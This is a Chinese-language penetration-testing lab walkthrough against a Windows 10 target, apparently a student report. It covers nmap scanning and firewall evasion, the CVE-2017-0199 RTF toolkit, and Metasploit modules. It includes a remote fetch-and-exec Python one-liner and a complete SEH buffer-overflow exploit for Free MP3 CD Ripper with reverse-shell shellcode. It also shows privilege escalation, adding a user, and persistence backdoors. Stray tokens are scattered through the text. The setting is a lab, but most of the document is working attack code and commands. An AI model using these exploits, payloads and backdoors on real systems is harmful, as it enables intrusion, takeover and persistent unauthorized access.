目錄python
經過ping 命令發送ICMP報文的方法檢測WIN10主機是否在線
git
能收到回覆包,證實主機在線,並能相互通訊github
用來探測活躍主機web
這個命令會發送arp請求包探測目標ip是否在線,若是有arp回覆包,則說明在線。此命令能夠探測目標主機是否在線,若是在線,還能夠獲得其MAC地址。可是不會探測其開放的端口號。
sql
TCP SYN 掃描(-sS)
這是Nmap默認的掃描方式,一般被稱做半開放掃描。該方式發送SYN到目標端口,若是收到SYN/ACK回覆,那麼能夠判斷端口是開放的;若是收到RST包,說明該端口是關閉的。若是沒有收到回覆,那麼能夠判斷該端口被屏蔽了。由於該方式僅發送SYN包對目標主機的特定端口,但不創建完整的TCP鏈接,因此相對比較隱蔽,並且效率比較高,適用範圍廣。shell
結果顯示爲filtered,nmap不可以決定端口的開放狀態,這主要是因爲網絡或者主機安裝了一些防火牆所致使的。當nmap收到icmp報文主機不可達報文或者目標主機無應答,經常會將目標主機的狀態設置爲filtered。
windows
把防火牆關閉試一下,能夠看見主機開啓的端口有135/139/443/445/902/912
安全
nmap -sV 192.168.43.38
掃描物理機,-sV是參數,命令nmap對目標進行端口對應相關應用程序進行掃描這種類型的掃描是很是隱蔽且沒法察覺。目標由多個假冒或僞造IP地址進行掃描。這樣防火牆就會認爲攻擊或掃描是經過多個資源或IP地址進行,因而就繞過了防火牆。
這實際上在目標看來是由多個系統同時掃描,這使得防火牆更難追查掃描的來源。服務器
nmap –D decoy1,decoy2,decoy3 target
來嘗試欺騙防火牆附加隨機數據長度,咱們也能夠繞過防火牆。許多防火牆經過檢查數據包的大小來識別潛伏中的端口掃描。這是由於許多掃描器會發送具備特定大小的數據包。爲了躲避那種檢測,咱們可使用命令–data-length增長額外的數據,以便與默認大小不一樣。在下圖中,咱們經過加入25多個字節改變數據包大小。網絡
nmap --data-length 25 192.168.43.38
命令進行隨機數據長度嘗試選項–randomize-host用於隨機 順序掃描指定目標。–randomize-host有助於防止因連續 掃描多個目標而防火牆和入侵檢測系統檢測到。
nmap --randomize-hosts 192.168.43.38
每臺機器都有本身獨特的mac地址。所以這也是繞過防火牆的另外一種方法,由於某些防火牆是基於MAC地址啓用規則的。爲了得到掃描結果,須要先了解哪些MAC地址可使用。這能夠經過手動或先進的模糊測試完成。
特別是–spoof-MAC選項可以從一個特定的供應商選擇一個MAC地址,選擇一個隨機的MAC地址,或者設定您所選擇的特定MAC地址。 MAC地址欺騙的另外一個優勢是,讓掃描隱蔽,實際MAC地址就不會出如今防火牆的日誌文件。
nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target
命令git clone https://github.com/bhdresh/CVE-2017-0199.git
cd CVE-2017-0199 python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc
msf> use multi/handler msf exploit(handler )> set payload windows/meterpreter/reverse_tcp msf exploit(handler )> set lhost 192.168.43.14 msf exploit(handler )> set lport 5230 msf exploit(handler )> exploit
search 具體EasyFileSharing模塊
use exploit/windows/http/easyfilesharing_post show options set lhost 192.168.43.14 set lport 5230 set rhosts 192.168.43.38 set rport 80 exploit
search web_delivery
use exploit/multi/script/web_delivery show options set lhost 192.168.43.14 set lport 5230 exploit
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
靶機:Win10
利用msf生成反向鏈接的shellcode,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6 buffer = "A" * 4116 NSEH = "\xeb\x06\x90\x90" SEH = "\x84\x20\xe4\x66" nops = "\x90" * 5 buf = "" buf = "" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81" buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0" buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8" buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00" buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68" buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"; pad = "B" * (316 - len(nops) - len(buf) ) payload = buffer + NSEH + SEH + nops + buf +pad try: f=open("TestFMCR.mp3","w") print "[+] Creating %s bytes mp3 File..." %len(payload) f.write(payload) f.close() print "[+] mp3 File created successfully!" except: print "File cannot be created!"
關鍵代碼:填充+nseh+seh+nop+shellcode
nseh : next seh 指示下一個seh結構的位置,在這裏使用"\xeb\x06\x90\x90"填充是一個通用的填充方法,這四個字節反彙編的結果是 jmp 6 nop nop這樣三條指令,緣由是jmp 6個字節恰好繞過兩個nop指令和一個4字節的seh處理程序的地址,落入nop指令區,而後滑行進入shellcode
2.運行腳本,生成惡意mp3文件,python FmcrExploit.py
3.移動惡意文件到靶機windows10上
4.打開msf並設置監聽
在主機上打開Free MP3 CD Ripper軟件
回連成功!
getsystem
進行提權,顯示沒有權限use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set lport 5230 set session 3 exploit
powershell.exe -nop -exec bypass Import-Module .\powerup.psm1
Get-Command -Module powerup
C:\Windows\system32>net user powerup 1 /add
PS C:\> Invoke-AllChecks
查看bypassuac的模塊
msf > use exploit/windows/local/bypassuac msf exploit(bypassuac) > set session 1 msf exploit(bypassuac) > exploit
(1)run metsvc
(2)命令運行成功後會在C:WindowsTEMP目錄下新建隨機名稱的文件夾,裏面生成3個文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
(3) 鏈接後門
使用exploit/multi/handler模塊,payload設置爲windows/metsvc_bind_tcp,設置目標ip和綁定端口31337。
使用run persistence -h查看參數。 -A:安裝後門後,自動啓動exploit/multi/handler模塊鏈接後門 -L:自啓動腳本的路徑,默認爲%TEMP% -P:須要使用的payload,默認爲windows/meterpreter/reverse_tcp -S:做爲一個服務在系統啓動時運行(須要SYSTEM權限) -T:要使用的備用可執行模板 -U:用戶登錄時運行 -X:系統啓動時運行 -i:後門每隔多少秒嘗試鏈接服務端 -p:服務端監聽的端口 -r:服務端ip
run persistence -X -i 1 -p 5230 -r 192.168.43.14
查看其修改的鍵值
下次重啓電腦時,能夠保持會話